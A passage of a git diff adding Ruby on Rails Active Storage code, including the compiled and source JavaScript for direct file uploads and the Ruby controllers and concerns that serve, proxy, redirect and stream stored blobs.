+        const binaryDigest = this.md5Buffer.end(true);
+        const base64digest = btoa(binaryDigest);
+        this.callback(null, base64digest);
+      }
+    }
+    fileReaderDidError(event) {
+      this.callback(`Error reading ${this.file.name}`);
+    }
+    readNextChunk() {
+      if (this.chunkIndex < this.chunkCount || this.chunkIndex == 0 && this.chunkCount == 0) {
+        const start = this.chunkIndex * this.chunkSize;
+        const end = Math.min(start + this.chunkSize, this.file.size);
+        const bytes = fileSlice.call(this.file, start, end);
+        this.fileReader.readAsArrayBuffer(bytes);
+        this.chunkIndex++;
+        return true;
+      } else {
+        return false;
+      }
+    }
+  }
+  function getMetaValue(name) {
+    const element = findElement(document.head, `meta[name="${name}"]`);
+    if (element) {
+      return element.getAttribute("content");
+    }
+  }
+  function findElements(root, selector) {
+    if (typeof root == "string") {
+      selector = root;
+      root = document;
+    }
+    const elements = root.querySelectorAll(selector);
+    return toArray(elements);
+  }
+  function findElement(root, selector) {
+    if (typeof root == "string") {
+      selector = root;
+      root = document;
+    }
+    return root.querySelector(selector);
+  }
+  function dispatchEvent(element, type, eventInit = {}) {
+    const {disabled: disabled} = element;
+    const {bubbles: bubbles, cancelable: cancelable, detail: detail} = eventInit;
+    const event = document.createEvent("Event");
+    event.initEvent(type, bubbles || true, cancelable || true);
+    event.detail = detail || {};
+    try {
+      element.disabled = false;
+      element.dispatchEvent(event);
+    } finally {
+      element.disabled = disabled;
+    }
+    return event;
+  }
+  function toArray(value) {
+    if (Array.isArray(value)) {
+      return value;
+    } else if (Array.from) {
+      return Array.from(value);
+    } else {
+      return [].slice.call(value);
+    }
+  }
+  class BlobRecord {
+    constructor(file, checksum, url, customHeaders = {}) {
+      this.file = file;
+      this.attributes = {
+        filename: file.name,
+        content_type: file.type || "application/octet-stream",
+        byte_size: file.size,
+        checksum: checksum
+      };
+      this.xhr = new XMLHttpRequest;
+      this.xhr.open("POST", url, true);
+      this.xhr.responseType = "json";
+      this.xhr.setRequestHeader("Content-Type", "application/json");
+      this.xhr.setRequestHeader("Accept", "application/json");
+      this.xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
+      Object.keys(customHeaders).forEach((headerKey => {
+        this.xhr.setRequestHeader(headerKey, customHeaders[headerKey]);
+      }));
+      const csrfToken = getMetaValue("csrf-token");
+      if (csrfToken != undefined) {
+        this.xhr.setRequestHeader("X-CSRF-Token", csrfToken);
+      }
+      this.xhr.addEventListener("load", (event => this.requestDidLoad(event)));
+      this.xhr.addEventListener("error", (event => this.requestDidError(event)));
+    }
+    get status() {
+      return this.xhr.status;
+    }
+    get response() {
+      const {responseType: responseType, response: response} = this.xhr;
+      if (responseType == "json") {
+        return response;
+      } else {
+        return JSON.parse(response);
+      }
+    }
+    create(callback) {
+      this.callback = callback;
+      this.xhr.send(JSON.stringify({
+        blob: this.attributes
+      }));
+    }
+    requestDidLoad(event) {
+      if (this.status >= 200 && this.status < 300) {
+        const {response: response} = this;
+        const {direct_upload: direct_upload} = response;
+        delete response.direct_upload;
+        this.attributes = response;
+        this.directUploadData = direct_upload;
+        this.callback(null, this.toJSON());
+      } else {
+        this.requestDidError(event);
+      }
+    }
+    requestDidError(event) {
+      this.callback(`Error creating Blob for "${this.file.name}". Status: ${this.status}`);
+    }
+    toJSON() {
+      const result = {};
+      for (const key in this.attributes) {
+        result[key] = this.attributes[key];
+      }
+      return result;
+    }
+  }
+  class BlobUpload {
+    constructor(blob) {
+      this.blob = blob;
+      this.file = blob.file;
+      const {url: url, headers: headers} = blob.directUploadData;
+      this.xhr = new XMLHttpRequest;
+      this.xhr.open("PUT", url, true);
+      this.xhr.responseType = "text";
+      for (const key in headers) {
+        this.xhr.setRequestHeader(key, headers[key]);
+      }
+      this.xhr.addEventListener("load", (event => this.requestDidLoad(event)));
+      this.xhr.addEventListener("error", (event => this.requestDidError(event)));
+    }
+    create(callback) {
+      this.callback = callback;
+      this.xhr.send(this.file.slice());
+    }
+    requestDidLoad(event) {
+      const {status: status, response: response} = this.xhr;
+      if (status >= 200 && status < 300) {
+        this.callback(null, response);
+      } else {
+        this.requestDidError(event);
+      }
+    }
+    requestDidError(event) {
+      this.callback(`Error storing "${this.file.name}". Status: ${this.xhr.status}`);
+    }
+  }
+  let id = 0;
+  class DirectUpload {
+    constructor(file, url, delegate, customHeaders = {}) {
+      this.id = ++id;
+      this.file = file;
+      this.url = url;
+      this.delegate = delegate;
+      this.customHeaders = customHeaders;
+    }
+    create(callback) {
+      FileChecksum.create(this.file, ((error, checksum) => {
+        if (error) {
+          callback(error);
+          return;
+        }
+        const blob = new BlobRecord(this.file, checksum, this.url, this.customHeaders);
+        notify(this.delegate, "directUploadWillCreateBlobWithXHR", blob.xhr);
+        blob.create((error => {
+          if (error) {
+            callback(error);
+          } else {
+            const upload = new BlobUpload(blob);
+            notify(this.delegate, "directUploadWillStoreFileWithXHR", upload.xhr);
+            upload.create((error => {
+              if (error) {
+                callback(error);
+              } else {
+                callback(null, blob.toJSON());
+              }
+            }));
+          }
+        }));
+      }));
+    }
+  }
+  function notify(object, methodName, ...messages) {
+    if (object && typeof object[methodName] == "function") {
+      return object[methodName](...messages);
+    }
+  }
+  class DirectUploadController {
+    constructor(input, file) {
+      this.input = input;
+      this.file = file;
+      this.directUpload = new DirectUpload(this.file, this.url, this);
+      this.dispatch("initialize");
+    }
+    start(callback) {
+      const hiddenInput = document.createElement("input");
+      hiddenInput.type = "hidden";
+      hiddenInput.name = this.input.name;
+      this.input.insertAdjacentElement("beforebegin", hiddenInput);
+      this.dispatch("start");
+      this.directUpload.create(((error, attributes) => {
+        if (error) {
+          hiddenInput.parentNode.removeChild(hiddenInput);
+          this.dispatchError(error);
+        } else {
+          hiddenInput.value = attributes.signed_id;
+        }
+        this.dispatch("end");
+        callback(error);
+      }));
+    }
+    uploadRequestDidProgress(event) {
+      const progress = event.loaded / event.total * 90;
+      if (progress) {
+        this.dispatch("progress", {
+          progress: progress
+        });
+      }
+    }
+    get url() {
+      return this.input.getAttribute("data-direct-upload-url");
+    }
+    dispatch(name, detail = {}) {
+      detail.file = this.file;
+      detail.id = this.directUpload.id;
+      return dispatchEvent(this.input, `direct-upload:${name}`, {
+        detail: detail
+      });
+    }
+    dispatchError(error) {
+      const event = this.dispatch("error", {
+        error: error
+      });
+      if (!event.defaultPrevented) {
+        alert(error);
+      }
+    }
+    directUploadWillCreateBlobWithXHR(xhr) {
+      this.dispatch("before-blob-request", {
+        xhr: xhr
+      });
+    }
+    directUploadWillStoreFileWithXHR(xhr) {
+      this.dispatch("before-storage-request", {
+        xhr: xhr
+      });
+      xhr.upload.addEventListener("progress", (event => this.uploadRequestDidProgress(event)));
+      xhr.upload.addEventListener("loadend", (() => {
+        this.simulateResponseProgress(xhr);
+      }));
+    }
+    simulateResponseProgress(xhr) {
+      let progress = 90;
+      const startTime = Date.now();
+      const updateProgress = () => {
+        const elapsed = Date.now() - startTime;
+        const estimatedResponseTime = this.estimateResponseTime();
+        const responseProgress = Math.min(elapsed / estimatedResponseTime, 1);
+        progress = 90 + responseProgress * 9;
+        this.dispatch("progress", {
+          progress: progress
+        });
+        if (xhr.readyState !== XMLHttpRequest.DONE && progress < 99) {
+          requestAnimationFrame(updateProgress);
+        }
+      };
+      xhr.addEventListener("loadend", (() => {
+        this.dispatch("progress", {
+          progress: 100
+        });
+      }));
+      requestAnimationFrame(updateProgress);
+    }
+    estimateResponseTime() {
+      const fileSize = this.file.size;
+      const MB = 1024 * 1024;
+      if (fileSize < MB) {
+        return 1e3;
+      } else if (fileSize < 10 * MB) {
+        return 2e3;
+      } else {
+        return 3e3 + fileSize / MB * 50;
+      }
+    }
+  }
+  const inputSelector = "input[type=file][data-direct-upload-url]:not([disabled])";
+  class DirectUploadsController {
+    constructor(form) {
+      this.form = form;
+      this.inputs = findElements(form, inputSelector).filter((input => input.files.length));
+    }
+    start(callback) {
+      const controllers = this.createDirectUploadControllers();
+      const startNextController = () => {
+        const controller = controllers.shift();
+        if (controller) {
+          controller.start((error => {
+            if (error) {
+              callback(error);
+              this.dispatch("end");
+            } else {
+              startNextController();
+            }
+          }));
+        } else {
+          callback();
+          this.dispatch("end");
+        }
+      };
+      this.dispatch("start");
+      startNextController();
+    }
+    createDirectUploadControllers() {
+      const controllers = [];
+      this.inputs.forEach((input => {
+        toArray(input.files).forEach((file => {
+          const controller = new DirectUploadController(input, file);
+          controllers.push(controller);
+        }));
+      }));
+      return controllers;
+    }
+    dispatch(name, detail = {}) {
+      return dispatchEvent(this.form, `direct-uploads:${name}`, {
+        detail: detail
+      });
+    }
+  }
+  const processingAttribute = "data-direct-uploads-processing";
+  const submitButtonsByForm = new WeakMap;
+  let started = false;
+  function start() {
+    if (!started) {
+      started = true;
+      document.addEventListener("click", didClick, true);
+      document.addEventListener("submit", didSubmitForm, true);
+      document.addEventListener("ajax:before", didSubmitRemoteElement);
+    }
+  }
+  function didClick(event) {
+    const button = event.target.closest("button, input");
+    if (button && button.type === "submit" && button.form) {
+      submitButtonsByForm.set(button.form, button);
+    }
+  }
+  function didSubmitForm(event) {
+    handleFormSubmissionEvent(event);
+  }
+  function didSubmitRemoteElement(event) {
+    if (event.target.tagName == "FORM") {
+      handleFormSubmissionEvent(event);
+    }
+  }
+  function handleFormSubmissionEvent(event) {
+    const form = event.target;
+    if (form.hasAttribute(processingAttribute)) {
+      event.preventDefault();
+      return;
+    }
+    const controller = new DirectUploadsController(form);
+    const {inputs: inputs} = controller;
+    if (inputs.length) {
+      event.preventDefault();
+      form.setAttribute(processingAttribute, "");
+      inputs.forEach(disable);
+      controller.start((error => {
+        form.removeAttribute(processingAttribute);
+        if (error) {
+          inputs.forEach(enable);
+        } else {
+          submitForm(form);
+        }
+      }));
+    }
+  }
+  function submitForm(form) {
+    let button = submitButtonsByForm.get(form) || findElement(form, "input[type=submit], button[type=submit]");
+    if (button) {
+      const {disabled: disabled} = button;
+      button.disabled = false;
+      button.focus();
+      button.click();
+      button.disabled = disabled;
+    } else {
+      button = document.createElement("input");
+      button.type = "submit";
+      button.style.display = "none";
+      form.appendChild(button);
+      button.click();
+      form.removeChild(button);
+    }
+    submitButtonsByForm.delete(form);
+  }
+  function disable(input) {
+    input.disabled = true;
+  }
+  function enable(input) {
+    input.disabled = false;
+  }
+  function autostart() {
+    if (window.ActiveStorage) {
+      start();
+    }
+  }
+  setTimeout(autostart, 1);
+  exports.DirectUpload = DirectUpload;
+  exports.DirectUploadController = DirectUploadController;
+  exports.DirectUploadsController = DirectUploadsController;
+  exports.dispatchEvent = dispatchEvent;
+  exports.start = start;
+  Object.defineProperty(exports, "__esModule", {
+    value: true
+  });
+}));
diff --git a/activestorage/app/controllers/active_storage/base_controller.rb b/activestorage/app/controllers/active_storage/base_controller.rb
new file mode 100644
index 0000000000000..9c4cf79dda912
--- /dev/null
+++ b/activestorage/app/controllers/active_storage/base_controller.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+# The base class for all Active Storage controllers.
+class ActiveStorage::BaseController < ActionController::Base
+  include ActiveStorage::SetCurrent
+
+  protect_from_forgery with: :exception
+
+  self.etag_with_template_digest = false
+end
diff --git a/activestorage/app/controllers/active_storage/blobs/proxy_controller.rb b/activestorage/app/controllers/active_storage/blobs/proxy_controller.rb
new file mode 100644
index 0000000000000..438623858474e
--- /dev/null
+++ b/activestorage/app/controllers/active_storage/blobs/proxy_controller.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+# Proxy files through application. This avoids having a redirect and makes files easier to cache.
+#
+# WARNING: All Active Storage controllers are publicly accessible by default. The
+# generated URLs are hard to guess, but permanent by design. If your files
+# require a higher level of protection consider implementing
+# {Authenticated Controllers}[https://guides.rubyonrails.org/active_storage_overview.html#authenticated-controllers].
+class ActiveStorage::Blobs::ProxyController < ActiveStorage::BaseController
+  include ActiveStorage::SetBlob
+  include ActiveStorage::Streaming
+  include ActiveStorage::DisableSession
+
+  def show
+    if request.headers["Range"].present?
+      send_blob_byte_range_data @blob, request.headers["Range"]
+    else
+      http_cache_forever public: true do
+        response.headers["Accept-Ranges"] = "bytes"
+        response.headers["Content-Length"] = @blob.byte_size.to_s
+
+        send_blob_stream @blob, disposition: params[:disposition]
+      end
+    end
+  end
+end
diff --git a/activestorage/app/controllers/active_storage/blobs/redirect_controller.rb b/activestorage/app/controllers/active_storage/blobs/redirect_controller.rb
new file mode 100644
index 0000000000000..b4466c8b5247d
--- /dev/null
+++ b/activestorage/app/controllers/active_storage/blobs/redirect_controller.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+# Take a signed permanent reference for a blob and turn it into an expiring service URL for download.
+#
+# WARNING: All Active Storage controllers are publicly accessible by default. The
+# generated URLs are hard to guess, but permanent by design. If your files
+# require a higher level of protection consider implementing
+# {Authenticated Controllers}[https://guides.rubyonrails.org/active_storage_overview.html#authenticated-controllers].
+class ActiveStorage::Blobs::RedirectController < ActiveStorage::BaseController
+  include ActiveStorage::SetBlob
+
+  def show
+    expires_in ActiveStorage.service_urls_expire_in
+    redirect_to @blob.url(disposition: params[:disposition]), allow_other_host: true
+  end
+end
diff --git a/activestorage/app/controllers/active_storage/direct_uploads_controller.rb b/activestorage/app/controllers/active_storage/direct_uploads_controller.rb
new file mode 100644
index 0000000000000..0b253e5c129a8
--- /dev/null
+++ b/activestorage/app/controllers/active_storage/direct_uploads_controller.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+# Creates a new blob on the server side in anticipation of a direct-to-service upload from the client side.
+# When the client-side upload is completed, the signed_blob_id can be submitted as part of the form to reference
+# the blob that was created up front.
+class ActiveStorage::DirectUploadsController < ActiveStorage::BaseController
+  def create
+    blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args)
+    render json: direct_upload_json(blob)
+  end
+
+  private
+    def blob_args
+      params.expect(blob: [:filename, :byte_size, :checksum, :content_type, metadata: {}]).to_h.symbolize_keys
+    end
+
+    def direct_upload_json(blob)
+      blob.as_json(root: false, methods: :signed_id).merge(direct_upload: {
+        url: blob.service_url_for_direct_upload,
+        headers: blob.service_headers_for_direct_upload
+      })
+    end
+end
diff --git a/activestorage/app/controllers/active_storage/disk_controller.rb b/activestorage/app/controllers/active_storage/disk_controller.rb
new file mode 100644
index 0000000000000..398acc22b12f8
--- /dev/null
+++ b/activestorage/app/controllers/active_storage/disk_controller.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+# Serves files stored with the disk service in the same way that the cloud services do.
+# This means using expiring, signed URLs that are meant for immediate access, not permanent linking.
+# Always go through the BlobsController, or your own authenticated controller, rather than directly
+# to the service URL.
+class ActiveStorage::DiskController < ActiveStorage::BaseController
+  include ActiveStorage::FileServer
+
+  skip_forgery_protection
+
+  def show
+    if key = decode_verified_key
+      serve_file named_disk_service(key[:service_name]).path_for(key[:key]), content_type: key[:content_type], disposition: key[:disposition]
+    else
+      head :not_found
+    end
+  rescue Errno::ENOENT
+    head :not_found
+  end
+
+  def update
+    if token = decode_verified_token
+      if acceptable_content?(token)
+        named_disk_service(token[:service_name]).upload token[:key], request.body, checksum: token[:checksum]
+        head :no_content
+      else
+        head ActionDispatch::Constants::UNPROCESSABLE_CONTENT
+      end
+    else
+      head :not_found
+    end
+  rescue ActiveStorage::IntegrityError
+    head ActionDispatch::Constants::UNPROCESSABLE_CONTENT
+  end
+
+  private
+    def named_disk_service(name)
+      ActiveStorage::Blob.services.fetch(name) do
+        ActiveStorage::Blob.service
+      end
+    end
+
+    def decode_verified_key
+      key = ActiveStorage.verifier.verified(params[:encoded_key], purpose: :blob_key)
+      key&.deep_symbolize_keys
+    end
+
+    def decode_verified_token
+      token = ActiveStorage.verifier.verified(params[:encoded_token], purpose: :blob_token)
+      token&.deep_symbolize_keys
+    end
+
+    def acceptable_content?(token)
+      token[:content_type] == request.content_mime_type && token[:content_length] == request.content_length
+    end
+end
diff --git a/activestorage/app/controllers/active_storage/representations/base_controller.rb b/activestorage/app/controllers/active_storage/representations/base_controller.rb
new file mode 100644
index 0000000000000..f614b52ca3773
--- /dev/null
+++ b/activestorage/app/controllers/active_storage/representations/base_controller.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class ActiveStorage::Representations::BaseController < ActiveStorage::BaseController # :nodoc:
+  include ActiveStorage::SetBlob
+
+  before_action :set_representation
+
+  private
+    def blob_scope
+      ActiveStorage::Blob.scope_for_strict_loading
+    end
+
+    def set_representation
+      @representation = @blob.representation(params[:variation_key]).processed
+    rescue ActiveSupport::MessageVerifier::InvalidSignature
+      head :not_found
+    end
+end
diff --git a/activestorage/app/controllers/active_storage/representations/proxy_controller.rb b/activestorage/app/controllers/active_storage/representations/proxy_controller.rb
new file mode 100644
index 0000000000000..fff6fa7e4d022
--- /dev/null
+++ b/activestorage/app/controllers/active_storage/representations/proxy_controller.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+# Proxy files through application. This avoids having a redirect and makes files easier to cache.
+#
+# WARNING: All Active Storage controllers are publicly accessible by default. The
+# generated URLs are hard to guess, but permanent by design. If your files
+# require a higher level of protection consider implementing
+# {Authenticated Controllers}[https://guides.rubyonrails.org/active_storage_overview.html#authenticated-controllers].
+class ActiveStorage::Representations::ProxyController < ActiveStorage::Representations::BaseController
+  include ActiveStorage::Streaming
+  include ActiveStorage::DisableSession
+
+  def show
+    http_cache_forever public: true do
+      send_blob_stream @representation, disposition: params[:disposition]
+    end
+  end
+end
diff --git a/activestorage/app/controllers/active_storage/representations/redirect_controller.rb b/activestorage/app/controllers/active_storage/representations/redirect_controller.rb
new file mode 100644
index 0000000000000..d8a0a1988f487
--- /dev/null
+++ b/activestorage/app/controllers/active_storage/representations/redirect_controller.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+# Take a signed permanent reference for a blob representation and turn it into an expiring service URL for download.
+#
+# WARNING: All Active Storage controllers are publicly accessible by default. The
+# generated URLs are hard to guess, but permanent by design. If your files
+# require a higher level of protection consider implementing
+# {Authenticated Controllers}[https://guides.rubyonrails.org/active_storage_overview.html#authenticated-controllers].
+class ActiveStorage::Representations::RedirectController < ActiveStorage::Representations::BaseController
+  def show
+    expires_in ActiveStorage.service_urls_expire_in
+    redirect_to @representation.url(disposition: params[:disposition]), allow_other_host: true
+  end
+end
diff --git a/activestorage/app/controllers/concerns/active_storage/disable_session.rb b/activestorage/app/controllers/concerns/active_storage/disable_session.rb
new file mode 100644
index 0000000000000..200ad7c9d23ac
--- /dev/null
+++ b/activestorage/app/controllers/concerns/active_storage/disable_session.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+# This concern disables the session in order to allow caching by default in some CDNs as CloudFlare.
+module ActiveStorage::DisableSession
+  extend ActiveSupport::Concern
+
+  included do
+    before_action do
+      request.session_options[:skip] = true
+    end
+  end
+end
diff --git a/activestorage/app/controllers/concerns/active_storage/file_server.rb b/activestorage/app/controllers/concerns/active_storage/file_server.rb
new file mode 100644
index 0000000000000..82eec92c76c54
--- /dev/null
+++ b/activestorage/app/controllers/concerns/active_storage/file_server.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/except"
+
+module ActiveStorage::FileServer # :nodoc:
+  private
+    def serve_file(path, content_type:, disposition:)
+      ::Rack::Files.new(nil).serving(request, path).tap do |(status, headers, body)|
+        self.status = status
+        self.response_body = body
+
+        headers.each do |name, value|
+          response.headers[name] = value
+        end
+
+        response.headers.except!("X-Cascade", "x-cascade") if status == 416
+        response.headers["Content-Type"] = content_type || DEFAULT_SEND_FILE_TYPE
+        response.headers["Content-Disposition"] = disposition || DEFAULT_SEND_FILE_DISPOSITION
+      end
+    end
+end
diff --git a/activestorage/app/controllers/concerns/active_storage/set_blob.rb b/activestorage/app/controllers/concerns/active_storage/set_blob.rb
new file mode 100644
index 0000000000000..d51f9c7313e0a
--- /dev/null
+++ b/activestorage/app/controllers/concerns/active_storage/set_blob.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module ActiveStorage::SetBlob # :nodoc:
+  extend ActiveSupport::Concern
+
+  included do
+    before_action :set_blob
+  end
+
+  private
+    def set_blob
+      @blob = blob_scope.find_signed!(params[:signed_blob_id] || params[:signed_id])
+    rescue ActiveSupport::MessageVerifier::InvalidSignature
+      head :not_found
+    end
+
+    def blob_scope
+      ActiveStorage::Blob
+    end
+end
diff --git a/activestorage/app/controllers/concerns/active_storage/set_current.rb b/activestorage/app/controllers/concerns/active_storage/set_current.rb
new file mode 100644
index 0000000000000..c00bf09330ffc
--- /dev/null
+++ b/activestorage/app/controllers/concerns/active_storage/set_current.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+# Sets the <tt>ActiveStorage::Current.url_options</tt> attribute, which the disk service uses to generate URLs.
+# Include this concern in custom controllers that call ActiveStorage::Blob#url,
+# ActiveStorage::Variant#url, or ActiveStorage::Preview#url so the disk service can
+# generate URLs using the same host, protocol, and port as the current request.
+module ActiveStorage::SetCurrent
+  extend ActiveSupport::Concern
+
+  included do
+    before_action do
+      ActiveStorage::Current.url_options = { protocol: request.protocol, host: request.host, port: request.port }
+    end
+  end
+end
diff --git a/activestorage/app/controllers/concerns/active_storage/streaming.rb b/activestorage/app/controllers/concerns/active_storage/streaming.rb
new file mode 100644
index 0000000000000..ff63b476b67e4
--- /dev/null
+++ b/activestorage/app/controllers/concerns/active_storage/streaming.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+require "securerandom"
+
+module ActiveStorage::Streaming
+  extend ActiveSupport::Concern
+  DEFAULT_BLOB_STREAMING_DISPOSITION = "inline"
+
+  include ActionController::DataStreaming
+  include ActionController::Live
+
+  private
+    # Stream the blob in byte ranges specified through the header
+    def send_blob_byte_range_data(blob, range_header, disposition: nil)
+      ranges = Rack::Utils.get_byte_ranges(range_header, blob.byte_size)
+
+      return head(:range_not_satisfiable) if ranges.blank? || ranges.all?(&:blank?)
+
+      if ranges.length == 1
+        range = ranges.first
+        content_type = blob.content_type_for_serving
+        data = blob.download_chunk(range)
+
+        response.headers["Content-Range"] = "bytes #{range.begin}-#{range.end}/#{blob.byte_size}"
+      else
+        boundary = SecureRandom.hex
+        content_type = "multipart/byteranges; boundary=#{boundary}"
+        data = +""
+
+        ranges.compact.each do |range|
+          chunk = blob.download_chunk(range)
+
+          data << "\r\n--#{boundary}\r\n"
+          data << "Content-Type: #{blob.content_type_for_serving}\r\n"
+          data << "Content-Range: bytes #{range.begin}-#{range.end}/#{blob.byte_size}\r\n\r\n"
+          data << chunk
+        end
+
+        data << "\r\n--#{boundary}--\r\n"
+      end
+
+      response.headers["Accept-Ranges"] = "bytes"
+      response.headers["Content-Length"] = data.length.to_s
+
+      send_data(
+        data,
+        disposition: blob.forced_disposition_for_serving || disposition || DEFAULT_BLOB_STREAMING_DISPOSITION,
+        filename: blob.filename.sanitized,
+        status: :partial_content,
+        type: content_type
+      )
+    end
+
+    # Stream the blob from storage directly to the response. The disposition can be controlled by setting +disposition+.
+    # The content type and filename is set directly from the +blob+.
+    def send_blob_stream(blob, disposition: nil) # :doc:
+      send_stream(
+          filename: blob.filename.sanitized,
+          disposition: blob.forced_disposition_for_serving || disposition || DEFAULT_BLOB_STREAMING_DISPOSITION,
+          type: blob.content_type_for_serving) do |stream|
+        blob.download do |chunk|
+          stream.write chunk
+        end
+      rescue ActiveStorage::FileNotFoundError
+        expires_now
+        head :not_found
+      rescue
+        # Status and caching headers are already set, but not committed.
+        # Change the status to 500 manually.
+        expires_now
+        head :internal_server_error
+        raise
+      end
+    end
+end
diff --git a/activestorage/app/javascript/activestorage/blob_record.js b/activestorage/app/javascript/activestorage/blob_record.js
new file mode 100644
index 0000000000000..f017de703bfcc
--- /dev/null
+++ b/activestorage/app/javascript/activestorage/blob_record.js
@@ -0,0 +1,76 @@
+import { getMetaValue } from "./helpers"
+
+export class BlobRecord {
+  constructor(file, checksum, url, customHeaders = {}) {
+    this.file = file
+
+    this.attributes = {
+      filename: file.name,
+      content_type: file.type || "application/octet-stream",
+      byte_size: file.size,
+      checksum: checksum
+    }
+
+    this.xhr = new XMLHttpRequest
+    this.xhr.open("POST", url, true)
+    this.xhr.responseType = "json"
+    this.xhr.setRequestHeader("Content-Type", "application/json")
+    this.xhr.setRequestHeader("Accept", "application/json")
+    this.xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest")
+    Object.keys(customHeaders).forEach((headerKey) => {
+      this.xhr.setRequestHeader(headerKey, customHeaders[headerKey])
+    })
+
+    const csrfToken = getMetaValue("csrf-token")
+    if (csrfToken != undefined) {
+      this.xhr.setRequestHeader("X-CSRF-Token", csrfToken)
+    }
+
+    this.xhr.addEventListener("load", event => this.requestDidLoad(event))
+    this.xhr.addEventListener("error", event => this.requestDidError(event))
+  }
+
+  get status() {
+    return this.xhr.status
+  }
+
+  get response() {
+    const { responseType, response } = this.xhr
+    if (responseType == "json") {
+      return response
+    } else {
+      // Shim for IE 11: https://connect.microsoft.com/IE/feedback/details/794808
+      return JSON.parse(response)
+    }
+  }
+
+  create(callback) {
+    this.callback = callback
+    this.xhr.send(JSON.stringify({ blob: this.attributes }))
+  }
+
+  requestDidLoad(event) {
+    if (this.status >= 200 && this.status < 300) {
+      const { response } = this
+      const { direct_upload } = response
+      delete response.direct_upload
+      this.attributes = response
+      this.directUploadData = direct_upload
+      this.callback(null, this.toJSON())
+    } else {
+      this.requestDidError(event)
+    }
+  }
+
+  requestDidError(event) {
+    this.callback(`Error creating Blob for "${this.file.name}". Status: ${this.status}`)
+  }
+
+  toJSON() {
+    const result = {}
+    for (const key in this.attributes) {
+      result[key] = this.attributes[key]
+    }
+    return result
+  }
+}
diff --git a/activestorage/app/javascript/activestorage/blob_upload.js b/activestorage/app/javascript/activestorage/blob_upload.js
new file mode 100644
index 0000000000000..277cc8ff8e0e2
--- /dev/null
+++ b/activestorage/app/javascript/activestorage/blob_upload.js
@@ -0,0 +1,35 @@
+export class BlobUpload {
+  constructor(blob) {
+    this.blob = blob
+    this.file = blob.file
+
+    const { url, headers } = blob.directUploadData
+
+    this.xhr = new XMLHttpRequest
+    this.xhr.open("PUT", url, true)
+    this.xhr.responseType = "text"
+    for (const key in headers) {
+      this.xhr.setRequestHeader(key, headers[key])
+    }
+    this.xhr.addEventListener("load", event => this.requestDidLoad(event))
+    this.xhr.addEventListener("error", event => this.requestDidError(event))
+  }
+
+  create(callback) {
+    this.callback = callback
+    this.xhr.send(this.file.slice())
+  }
+
+  requestDidLoad(event) {
+    const { status, response } = this.xhr
+    if (status >= 200 && status < 300) {
+      this.callback(null, response)
+    } else {
+      this.requestDidError(event)
+    }
+  }
+
+  requestDidError(event) {
+    this.callback(`Error storing "${this.file.name}". Status: ${this.xhr.status}`)
+  }
+}
diff --git a/activestorage/app/javascript/activestorage/direct_upload.js b/activestorage/app/javascript/activestorage/direct_upload.js
new file mode 100644
index 0000000000000..5e218c6021e91
--- /dev/null
+++ b/activestorage/app/javascript/activestorage/direct_upload.js
@@ -0,0 +1,49 @@
+import { FileChecksum } from "./file_checksum"
+import { BlobRecord } from "./blob_record"
+import { BlobUpload } from "./blob_upload"
+
+let id = 0
+
+export class DirectUpload {
+  constructor(file, url, delegate, customHeaders = {}) {
+    this.id = ++id
+    this.file = file
+    this.url = url
+    this.delegate = delegate
+    this.customHeaders = customHeaders
+  }
+
+  create(callback) {
+    FileChecksum.create(this.file, (error, checksum) => {
+      if (error) {
+        callback(error)
+        return
+      }
+
+      const blob = new BlobRecord(this.file, checksum, this.url, this.customHeaders)
+      notify(this.delegate, "directUploadWillCreateBlobWithXHR", blob.xhr)
+
+      blob.create(error => {
+        if (error) {
+          callback(error)
+        } else {
+          const upload = new BlobUpload(blob)
+          notify(this.delegate, "directUploadWillStoreFileWithXHR", upload.xhr)
+          upload.create(error => {
+            if (error) {
+              callback(error)
+            } else {
+              callback(null, blob.toJSON())
+            }
+          })
+        }
+      })
+    })
+  }
+}
+
+function notify(object, methodName, ...messages) {
+  if (object && typeof object[methodName] == "function") {
+    return object[methodName](...messages)
+  }
+}
diff --git a/activestorage/app/javascript/activestorage/direct_upload_controller.js b/activestorage/app/javascript/activestorage/direct_upload_controller.js
new file mode 100644
index 0000000000000..25daa84090a4c
--- /dev/null
+++ b/activestorage/app/javascript/activestorage/direct_upload_controller.js
@@ -0,0 +1,114 @@
+import { DirectUpload } from "./direct_upload"
+import { dispatchEvent } from "./helpers"
+
+export class DirectUploadController {
+  constructor(input, file) {
+    this.input = input
+    this.file = file
+    this.directUpload = new DirectUpload(this.file, this.url, this)
+    this.dispatch("initialize")
+  }
+
+  start(callback) {
+    const hiddenInput = document.createElement("input")
+    hiddenInput.type = "hidden"
+    hiddenInput.name = this.input.name
+    this.input.insertAdjacentElement("beforebegin", hiddenInput)
+
+    this.dispatch("start")
+
+    this.directUpload.create((error, attributes) => {
+      if (error) {
+        hiddenInput.parentNode.removeChild(hiddenInput)
+        this.dispatchError(error)
+      } else {
+        hiddenInput.value = attributes.signed_id
+      }
+
+      this.dispatch("end")
+      callback(error)
+    })
+  }
+
+  uploadRequestDidProgress(event) {
+    // Scale upload progress to 0-90% range
+    const progress = (event.loaded / event.total) * 90
+    if (progress) {
+      this.dispatch("progress", { progress })
+    }
+  }
+
+  get url() {
+    return this.input.getAttribute("data-direct-upload-url")
+  }
+
+  dispatch(name, detail = {}) {
+    detail.file = this.file
+    detail.id = this.directUpload.id
+    return dispatchEvent(this.input, `direct-upload:${name}`, { detail })
+  }
+
+  dispatchError(error) {
+    const event = this.dispatch("error", { error })
+    if (!event.defaultPrevented) {
+      alert(error)
+    }
+  }
+
+  // DirectUpload delegate
+
+  directUploadWillCreateBlobWithXHR(xhr) {
